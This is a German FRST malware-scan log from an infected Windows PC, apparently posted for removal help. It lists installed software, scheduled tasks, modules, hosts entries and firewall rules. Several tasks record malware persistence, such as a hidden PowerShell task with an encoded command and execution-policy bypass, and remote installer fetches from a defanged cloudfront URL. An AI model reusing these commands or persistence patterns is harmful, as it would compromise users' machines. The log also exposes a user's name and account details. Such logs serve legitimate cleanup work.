Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23918 (HKLM-x32\...\{dab68466-3a7d-41a8-a5cf-415e3ff8ef71}) (Version: 14.0.23918.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)
Minecraft (HKLM-x32\...\{1C16BCA3-EBC1-49F6-8623-8FBFB9CCC872}) (Version: 1.0.3.0 - Mojang)
Movie Maker (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Mozilla Firefox 53.0.3 (x64 de) (HKLM\...\Mozilla Firefox 53.0.3 (x64 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
OpenOffice 4.1.3 (HKLM-x32\...\{8D5FCC56-BB9F-4122-923C-71753F50F6F5}) (Version: 4.13.9783 - Apache Software Foundation)
Samsung USB Driver for Mobile Phones (HKLM\...\{D0795B21-0CDA-4a92-AB9E-6E92D8111E44}) (Version: 1.5.61.0 - Samsung Electronics Co., Ltd.)
Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.105 - Skype Technologies S.A.)
SpyHunter 4 (HKLM-x32\...\SpyHunter) (Version: 4.24.3.4750 - Enigma Software Group, LLC)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
swMSM (x32 Version: 12.0.0.1 - Adobe Systems, Inc) Hidden
SwytShop version 1.0 (HKU\.DEFAULT\...\SwytShopAlgoadChrome_Pkg3a_is1) (Version: 1.0 - SwytShop)
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.77242 - TeamViewer)
VirtualDJ 8 (HKLM-x32\...\{2C513174-818D-4D9E-B88F-3E2872BACA20}) (Version: 8.2.3493.0 - Atomix Productions)
VLC media player (HKLM\...\VLC media player) (Version: 2.2.4 - VideoLAN)
Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 16.4.3528.0331 - Microsoft Corporation)
WinRAR 5.40 (32-Bit) (HKLM-x32\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\localserver32 -> C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\17.3.6799.0327\FileCoAuth.exe (Microsoft Corporation)
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{820D63D5-8CFF-46DE-86AF-4997DEDD6DB5}\localserver32 -> C:\Windows\system32\igfxEM.exe (Intel Corporation)
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{D3BB05A4-7B0B-D6FE-9C46-02343C11E1C8}\InprocServer32 -> kein Dateipfad
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{DC9D74AA-7319-69B5-E1DE-59842454B0BE}\InprocServer32 -> kein Dateipfad

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {006195E7-5B35-4800-8C6E-E8E48BDE5D59} - System32\Tasks\KMSAutoNet => C:\ProgramData\KMSAutoS\KMSAuto Net.exe
Task: {05D48E00-BF2C-4CEB-B7DF-04409233784E} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-03-17] (Google Inc.)
Task: {12EA2644-53AB-4F3B-8420-DDC68495A6C2} - System32\Tasks\Windows-PG => powershell.exe C:\windows\psgo\psgo.ps1
Task: {1400CED9-EAA0-49F8-A50B-2477914720B4} - System32\Tasks\Games\UpdateCheck_S-1-5-21-3847841184-804715454-2304624315-1001
Task: {16129431-3A87-44D6-B1E9-5B37A253A591} - System32\Tasks\RunAtStartup => C:\Users\Nick Schuster\AppData\Roaming\Event Monitor\em.exe
Task: {169116B2-0EF1-475C-8491-807AAB8364E3} - System32\Tasks\Microsoft\Windows\DeviceSettings\Puperpysikuy => /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;d=20170529 /q
Task: {2A619B04-44F2-4A39-B52E-0AD07E393C91} - System32\Tasks\Prervadom Cloud => C:\Program Files (x86)\Mlecultfowudom\zerfotain.exe
Task: {2E2640BC-9462-4C5F-90BD-892338D59DF4} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe [2017-06-01] ()
Task: {49A10F24-190A-4ED7-9B48-C3CB6BBBC914} - System32\Tasks\GenericSettingsHandler\Windows-Credentials\RetrySyncTask_for_S-1-5-21-3847841184-804715454-2304624315-1001
Task: {53A67BD4-6351-4805-A436-9353CBFAAAFA} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-wiiu02015@outlook.de => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe
Task: {6557BCB6-2F27-448C-ACA4-7E86E4B009E5} - System32\Tasks\Update => C:\Users\Nick
Task: {673824BA-7A3C-41BF-A4DA-9C4F9887830A} - System32\Tasks\Red Giant Link => C:\Program Files\Red Giant Link\Red Giant Link.exe
Task: {6AFC3B2B-BD1E-4624-B0FF-60E210D98357} - \task Update -> Keine Datei <==== ACHTUNG
Task: {72FEC8A9-7468-4164-9720-A650AB414362} - System32\Tasks\ttwifi => C:\Program Files (x86)\ttwifi\tiantianwifi.exe
Task: {74DECB46-8172-4D8D-A795-B4201324F918} - System32\Tasks\Qizsywosale Core => C:\Program Files (x86)\Fepuly\xruvudom.exe
Task: {7DF225F2-E9BE-467E-BBE5-6136CE240342} - System32\Tasks\Quick Tharks Screen Saver => Rundll32.exe "C:\Program Files\Quick Tharks Screen Saver\Quick Tharks Screen Saver.dll",eJRVBzCDxduB
Task: {9376D540-EE5F-4016-8595-273CB525CC42} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\Windows\system32\MRT.exe [2017-05-23] (Microsoft Corporation)
Task: {99A7E8C2-308C-41FF-85F1-8EC686E05AE2} - System32\Tasks\Microsoft OneDrive Auto Update Task-S-1-5-21-3847841184-804715454-2304624315-1001 => C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\OneDrive.exe [2017-04-15] (Microsoft Corporation)
Task: {9BC09D15-0FE3-42E6-917C-A7AEE41F44B8} - System32\Tasks\Samsung Update => /i hxxp://D2Buh1bF1G584W.CLouDfRoNT.net/mmtsk/occup.php?p=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;d=20170418 /q
Task: {9C8653D0-0863-4F6C-BDC9-E813956ACA92} - System32\Tasks\AVAST Software\Avast settings backup => C:\Program Files\Common Files\AV\avast! Antivirus\backup.exe
Task: {A885A6AF-A8B5-484C-9416-15C01E02D67D} - System32\Tasks\fyKiuMkkXh => C:\Program Files (x86)\XIOLoa7MyU\updengine.exe
Task: {B109EF88-6721-40A7-B261-9D175E298958} - System32\Tasks\Coobeck Monitor => C:\Program Files (x86)\Arucerther\yaupdcache.exe
Task: {B76D98BF-21F4-4F78-A43A-95F8B72AD43D} - System32\Tasks\{0B047F47-0F0A-0408-0B11-087F0C0B110F} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand IAA7ADsAIAAgADsAOwA7ACAAIAAgADsAOwAgADsAOwA7ADsAIAA7ADsAOwA7ADsAOwA7ACAAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA (Der Dateneintrag hat 9580 mehr Zeichen).
Task: {B8732800-4537-42E1-8E92-0D38D2678C49} - System32\Tasks\OneDrive Standalone Update Task v2 => C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe [2017-05-13] ()
Task: {D18984F6-6A81-40A8-A7A5-020084C99227} - System32\Tasks\{C8763487-4C07-317B-EF0E-D6F917015462} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\575f1242\3bf5ca72.dll" <==== ACHTUNG
Task: {D4BAA7ED-86EB-4B60-9F30-8E2D64B7D175} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2017-05-09] (Adobe Systems Incorporated)
Task: {D66B17AC-FEAC-46B3-A7DF-3865C135032C} - System32\Tasks\Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic => C:\\ProgramData\\VideoMemoryDiagnostic\\vmdiag.exe [2017-05-26] ()
Task: {D74DB4BE-DE57-43E2-97AF-575D2663AEE8} - System32\Tasks\Perkeentgreserk => /i hxxp://d2buh1bf1g584w.cloudfront.net/msi/rel.php?u=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;v=20170316 /q
Task: {DBE77801-9F7F-4CE7-9DE2-FDB39098637C} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_25_0_0_171_pepper.exe [2017-05-09] (Adobe Systems Incorporated)
Task: {E6C4E4E8-090E-49DF-8E3F-70FC88E8E56F} - System32\Tasks\{25FE2E5B-9255-99F0-1368-8A42E54326C9} => C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3}\63E4E652-D44F-51F9-5689-B0A4B2295152.exe [2017-06-02] () <==== ACHTUNG
Task: {EC667399-8041-43FD-BACE-C95F53D20EC6} - System32\Tasks\SoftUpgrade => C:\Program Files (x86)\SoftUpgrade\softup.exe [2017-05-29] ()
Task: {F51F669D-34D8-49E3-9371-1DA093A90419} - System32\Tasks\Gerfety Renew => C:\Program Files (x86)\Prfasaretaly\yaupdcache.exe [2017-05-29] ()
Task: {F6691563-4A82-4630-97F5-2AD5B410283B} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-03-17] (Google Inc.)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Verkn黳fungen =============================

(Die Eintr鋑e k鰊nen gelistet werden, um sie zur點kzusetzen oder zu entfernen.)

Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\d6731079c9ca4513\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\8e5c0db72600a899\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2016-08-21 10:29 - 2016-08-21 10:29 - 00594944 _____ () C:\Program Files\EqualizerAPO\EqualizerAPO.dll
2015-11-22 22:05 - 2015-11-22 22:05 - 01530880 _____ () C:\Program Files\EqualizerAPO\libsndfile-1.dll
2014-03-15 23:29 - 2014-03-15 23:29 - 02604934 _____ () C:\Program Files\EqualizerAPO\libfftw3f-3.dll
2017-03-17 00:03 - 2017-03-17 00:03 - 00306688 _____ () C:\Program Files (x86)\Qizsywosale Core\local64spl.dll
2017-05-29 22:00 - 2015-06-01 01:57 - 02445824 _____ () C:\Program Files\Quick Tharks Screen Saver\Quick Tharks Screen Saver.dll
2017-02-27 11:37 - 2016-02-04 12:53 - 00387144 _____ () C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE
2017-06-02 14:07 - 2017-06-03 13:57 - 00307200 _____ () C:\Windows\TEMP\g50DA.tmp.exe
2017-06-02 14:07 - 2017-06-03 13:57 - 00481280 _____ () C:\Windows\TEMP\g50DC.tmp.exe
2015-08-09 05:50 - 2016-10-07 00:07 - 00393208 _____ () C:\Windows\system32\igfxTray.exe
2017-06-01 00:15 - 2017-01-03 13:20 - 01052256 _____ () C:\ProgramData\windows\windows.exe
2017-05-31 13:52 - 2017-05-31 07:18 - 00101528 _____ () C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
2017-05-08 16:50 - 2017-06-01 12:00 - 01886720 _____ () c:\users\nick schuster\appdata\roaming\winsapsvc\winsap.dll
2017-03-28 19:38 - 2017-03-28 04:48 - 00105984 _____ () c:\programdata\package cache\{2a002f88-fd5d-379b-a350-a25d84af128b}v14.0.25420\packages\visualc_d14\vc_ide.base\vc_ide_base.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)


==================== EXE Verkn黳fungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt.)


==================== Internet Explorer Vertrauensw黵dig/Eingeschr鋘kt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ==========================

(Wenn ben鰐igt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zur點kzusetzen.)

2016-11-23 18:06 - 2017-05-30 13:55 - 00013624 ____A C:\Windows\system32\Drivers\etc\hosts

127.0.0.1 rad.msn.com
127.0.0.1 live.rads.msn.com
127.0.0.1 ads1.msn.com
127.0.0.1 g.msn.com
127.0.0.1 a.ads2.msads.net
127.0.0.1 b.ads2.msads.net
127.0.0.1 ac3.msn.com
127.0.0.1 apps.skype.com
127.0.0.1 clients2.google.com
127.0.0.1 v1.ff.avast.com
127.0.0.1 vlcproxy.ff.avast.com
127.0.0.1 wemsofts.com
127.0.0.1 bongadoom.com
127.0.0.1 wepcmainsystem.com
127.0.0.1 internalcampaigntargets.com
127.0.0.1 bongadoom.com
127.0.0.1 getthefilenow.com
127.0.0.1 bigpicturepop.com
127.0.0.1 wizzcaster.com
127.0.0.1 bestoffersfortoday.com
127.0.0.1 wepcmainsystem.com
127.0.0.1 agent.wizztrakys.com
127.0.0.1 csdimonetize.com
127.0.0.1 dl.azalee.site
127.0.0.1 titiaredh.com
127.0.0.1 wepcdisplaysystem.com
127.0.0.1 wepcanalyticsystem.com
127.0.0.1 healthydownload.com
127.0.0.1 leading2download.com
127.0.0.1 dwl0.wizzlabs.com

Da befinden sich 364 zus鋞zliche Eintr鋑e.


==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix f黵 diesen Bereich.)

HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows Photo Viewer\Hintergrundbild der Windows-Fotoanzeige.jpg
DNS Servers: 8.8.8.8 - 8.8.4.4
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Eintr鋑e ==

(Aktuell gibt es keinen automatisierten Fix f黵 diesen Bereich.)

MSCONFIG\Services: AppleAppSvc => 2
MSCONFIG\Services: AppleCloudSvc => 2
MSCONFIG\Services: BDESVC => 3
MSCONFIG\Services: BITS => 2
MSCONFIG\Services: DbxSvc => 2
MSCONFIG\Services: KingoSoftService => 2
MSCONFIG\Services: Kitty => 2
MSCONFIG\Services: pgt_svc => 2
MSCONFIG\Services: Recover => 2
MSCONFIG\Services: srcsrv => 2
MSCONFIG\Services: SysLinkMapper => 2
HKLM\...\StartupApproved\Run: => "AdobeAAMUpdater-1.0"
HKLM\...\StartupApproved\Run: => "vnlgp"
HKLM\...\StartupApproved\Run: => "AirServer64"
HKLM\...\StartupApproved\Run: => "gplyra"
HKLM\...\StartupApproved\Run32: => "SunJavaUpdateSched"
HKLM\...\StartupApproved\Run32: => "BlueStacks Agent"
HKLM\...\StartupApproved\Run32: => "KMS"
HKLM\...\StartupApproved\Run32: => "Dropbox"
HKLM\...\StartupApproved\Run32: => "KiesTrayAgent"
HKLM\...\StartupApproved\Run32: => "IJNetworkScannerSelectorEX"
HKLM\...\StartupApproved\Run32: => "CanonQuickMenu"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\StartupFolder: => "smss.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Skype"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Steam"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spotify"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spotify Web Helper"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "HKOEGBGL4X"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "tsiVideo"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spiele Post"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "6CC2RLD170"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Google Updater 2.0"

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139
FirewallRules: [TCP Query User{22AB143C-8D2D-4A97-8DD0-BA531B1CC8C0}C:\program files (x86)\java\jre1.8.0_66\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_66\bin\javaw.exe
FirewallRules: [UDP Query User{96E2CDFB-4366-4001-B896-915F472C33C7}C:\program files (x86)\java\jre1.8.0_66\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_66\bin\javaw.exe
FirewallRules: [TCP Query User{08BD94A2-3AB2-4176-BFA3-6ECD3237AF6A}C:\program files (x86)\skype\phone\skype.exe] => (Allow) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [UDP Query User{A093A1CB-FFE2-41F2-8755-748DAFCA91D3}C:\program files (x86)\skype\phone\skype.exe] => (Allow) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [{B8EFB49A-616F-4DCE-8DAB-00382F0142DB}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe
FirewallRules: [{26CEF901-32C1-48FD-B121-1CCDA0B2B727}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe
FirewallRules: [{9093F9AF-59BF-4438-901B-55A2BCA47AAF}] => (Allow) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
FirewallRules: [{E3F33213-2D1F-451B-8111-0C2145F24BB2}] => (Allow) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
FirewallRules: [TCP Query User{86241E34-E8BA-4BC3-85B5-7A1BF84E7249}C:\program files (x86)\steam\steamapps\common\tom clancy's ghost recon phantoms - eu\game\pdc-live\ghostreconphantoms.exe] => (Block) C:\program files (x86)\steam\steamapps\common\tom clancy's ghost recon phantoms - eu\game\pdc-live\ghostreconphantoms.exe
FirewallRules: [UDP Query User{BB112180-BAC4-4667-A338-483250E2DDE3}C:\program files (x86)\steam\steamapps\common\tom clancy's ghost recon phantoms - eu\game\pdc-live\ghostreconphantoms.exe] => (Block) C:\program files (x86)\steam\steamapps\common\tom clancy's ghost recon phantoms - eu\game\pdc-live\ghostreconphantoms.exe
FirewallRules: [{67FE29D8-F9EC-4911-A8FD-4DA5EB1CC57E}] => (Allow) C:\Users\Nick Schuster\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe
FirewallRules: [{73E1D05C-E37A-49D0-9EEF-3F095697DF28}] => (Allow) C:\Program Files (x86)\Windows Live\Contacts\wlcomm.exe
FirewallRules: [{D8F57116-C8F8-4A7A-A754-306A6CA0C90D}] => (Allow) LPort=2869
FirewallRules: [{F66DF897-E8A8-4CB8-9052-E1FB7F5C4AD5}] => (Allow) LPort=1900
FirewallRules: [{73EDF2AF-E150-4E83-AF4F-A1F19E84F9EC}] => (Allow) C:\Program Files (x86)\Windows Live\Messenger\msnmsgr.exe
FirewallRules: [TCP Query User{DE14579F-7B4B-4280-BB0A-C30A54A3B6C6}C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe
FirewallRules: [UDP Query User{5135D920-7EB9-48CC-98A9-F97B5A6315D1}C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe
FirewallRules: [TCP Query User{000568FB-833E-4074-9BF9-E65421169028}C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe
FirewallRules: [UDP Query User{D8AEB9CF-BCEE-48A1-B5F2-D15985DE2D8C}C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe
FirewallRules: [{B700AFED-8A4C-4D2B-9531-88AE1F0961DF}] => (Allow) C:\Program Files (x86)\GlassWire\GWCtlSrv.exe
FirewallRules: [{A9CEE88F-19AC-40D4-B1E0-1CE9ADA40CEA}] => (Allow) C:\Program Files (x86)\GlassWire\GWCtlSrv.exe
FirewallRules: [TCP Query User{15F9F589-2E16-488F-A735-46B4687E0A25}C:\program files (x86)\skype\phone\skype.exe] => (Block) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [UDP Query User{9E9FDBC5-6384-4D1D-810B-ABAC18CAE71E}C:\program files (x86)\skype\phone\skype.exe] => (Block) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [TCP Query User{185173E7-A203-4A22-A422-CE964D957E81}C:\program files\java\jre1.8.0_101\bin\javaw.exe] => (Block) C:\program files\java\jre1.8.0_101\bin\javaw.exe
FirewallRules: [UDP Query User{494306F8-0AFD-4162-84F4-20CC75C86288}C:\program files\java\jre1.8.0_101\bin\javaw.exe] => (Block) C:\program files\java\jre1.8.0_101\bin\javaw.exe
FirewallRules: [TCP Query User{A5A5FDEC-CF06-4BD4-B0A0-6BC84A789F7B}C:\users\nick schuster\appdata\roaming\spotify\spotify.exe] => (Block) C:\users\nick schuster\appdata\roaming\spotify\spotify.exe
FirewallRules: [UDP Query User{0864A6DE-1108-42B0-8EED-DAFDE57300E2}C:\users\nick schuster\appdata\roaming\spotify\spotify.exe] => (Block) C:\users\nick schuster\appdata\roaming\spotify\spotify.exe
FirewallRules: [TCP Query User{0FCE7EA3-D45A-4939-9F66-5519BC75F92C}C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe] => (Allow) C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe
FirewallRules: [UDP Query User{FD3E8EB7-E26C-4BCC-A156-9B91C355B3E7}C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe] => (Allow) C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe
FirewallRules: [TCP Query User{EDE1FD40-AA4B-4EF0-959C-F8CE1A605D15}C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe] => (Allow) C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe
FirewallRules: [UDP Query User{62B95D88-E6FA-4DA3-A731-F12CE4454A71}C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe] => (Allow) C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe
FirewallRules: [TCP Query User{1219B3DD-72AC-4318-BDB6-10CC2D867F71}C:\program files\java\jre1.8.0_111\bin\javaw.exe] => (Block) C:\program files\java\jre1.8.0_111\bin\javaw.exe
FirewallRules: [UDP Query User{E532A6F6-9983-4D4B-AD87-FB0154588B9A}C:\program files\java\jre1.8.0_111\bin\javaw.exe] => (Block) C:\program files\java\jre1.8.0_111\bin\javaw.exe
FirewallRules: [TCP Query User{B9299B44-1342-40FC-AF31-121EAEEA8CE6}C:\program files\java\jre1.8.0_111\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_111\bin\javaw.exe
FirewallRules: [UDP Query User{EA9B50E4-1481-469A-9A3B-7B29917064B6}C:\program files\java\jre1.8.0_111\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_111\bin\javaw.exe
FirewallRules: [TCP Query User{A836AADE-AAF1-490E-A824-2379A923DEA2}C:\users\nick schuster\documents\move or die\love\win\love.exe] => (Block) C:\users\nick schuster\documents\move or die\love\win\love.exe
FirewallRules: [UDP Query User{A327B216-10EA-4777-81F3-F7E411B925C3}C:\users\nick schuster\documents\move or die\love\win\love.exe] => (Block) C:\users\nick schuster\documents\move or die\love\win\love.exe
FirewallRules: [{08CB5F11-70F8-4D75-A111-4E1E8BBD9E3E}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{8A58A32F-5A08-4A6A-82A7-884402B2A3A9}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [TCP Query User{440E6BBA-8081-42E8-A3EB-227467E44FF0}C:\users\nick schuster\documents\move or die\love\win\love.exe] => (Block) C:\users\nick schuster\documents\move or die\love\win\love.exe
FirewallRules: [UDP Query User{192F493E-9BEA-4B3F-A07E-DC925E5A956B}C:\users\nick schuster\documents\move or die\love\win\love.exe] => (Block) C:\users\nick schuster\documents\move or die\love\win\love.exe
FirewallRules: [{55D8B042-B4DB-4BDC-8388-40CAEE3B6280}] => (Allow) C:\Program Files (x86)\Dropbox\Client\Dropbox.exe
FirewallRules: [TCP Query User{1E2DE2A6-4A6F-48DD-AFFF-3754FB938712}C:\users\nick schuster\desktop\helloneighbor_pre_alpha_-_play_at_your_own_risk\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\helloneighbor_pre_alpha_-_play_at_your_own_risk\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe
FirewallRules: [UDP Query User{1B711A47-FC46-4A43-A47B-D50E933AE73E}C:\users\nick schuster\desktop\helloneighbor_pre_alpha_-_play_at_your_own_risk\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\helloneighbor_pre_alpha_-_play_at_your_own_risk\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe
FirewallRules: [TCP Query User{CCD12204-D344-4471-89B4-CE5D09ED25A3}C:\users\nick schuster\desktop\helloneighbor\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\helloneighbor\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe
